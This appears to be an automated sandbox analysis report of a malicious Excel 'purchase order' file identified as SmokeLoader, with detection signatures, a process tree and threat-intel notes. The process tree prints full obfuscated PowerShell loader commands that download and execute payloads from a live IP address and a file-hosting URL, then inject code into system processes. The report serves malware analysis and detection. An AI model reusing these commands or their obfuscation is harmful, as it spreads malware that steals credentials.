Edit tour

Windows Analysis Report
#U3010TW-S PO#U3011PO#3311-20241118003.xls

Overview

General Information

Sample name:	#U3010TW-S PO#U3011PO#3311-20241118003.xls renamed because original name is a hash value
Original sample name:	TW-S POPO#3311-20241118003.xls
Analysis ID:	1557899
MD5:	6a9f4cbac228885c734793d88b691d2f
SHA1:	e4afd16d467570807b14a28df304ef8f538cf30c
SHA256:	92322c09584ce34faa099794f8a9aa425e7dc08ea803a4f3ff28be197418d8ed
Tags:	xlsuser-abuse_ch
Infos:

Detection

HTMLPhisher, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected HtmlPhish44

Yara detected Powershell download and execute

Yara detected SmokeLoader

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Machine Learning detection for sample

Maps a DLL or memory area into another process

Microsoft Office drops suspicious files

Obfuscated command line found

PowerShell case anomaly found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: AspNetCompiler Execution

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3224 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3544 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3648 cmdline: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3764 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3860 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3868 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B07.tmp" "c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3960 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 4012 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 2104 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

aspnet_compiler.exe (PID: 1932 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: A1CC6D0A95AA5C113FA52BEA08847010)

aspnet_compiler.exe (PID: 3948 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: A1CC6D0A95AA5C113FA52BEA08847010)

explorer.exe (PID: 1244 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 3756 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 3656 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 816 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2068 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2912 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2244 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2108 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2580 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

AcroRd32.exe (PID: 4060 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)

mshta.exe (PID: 1264 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 1432 cmdline: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3296 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3532 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 2916 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES845C.tmp" "c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3592 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3556 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3836 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

aspnet_compiler.exe (PID: 3964 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: A1CC6D0A95AA5C113FA52BEA08847010)

taskeng.exe (PID: 4052 cmdline: taskeng.exe {D690A31F-6F9A-4F5C-9D7D-F0EC28BCB101} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

vtjrhji (PID: 3728 cmdline: C:\Users\user\AppData\Roaming\vtjrhji MD5: A1CC6D0A95AA5C113FA52BEA08847010)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

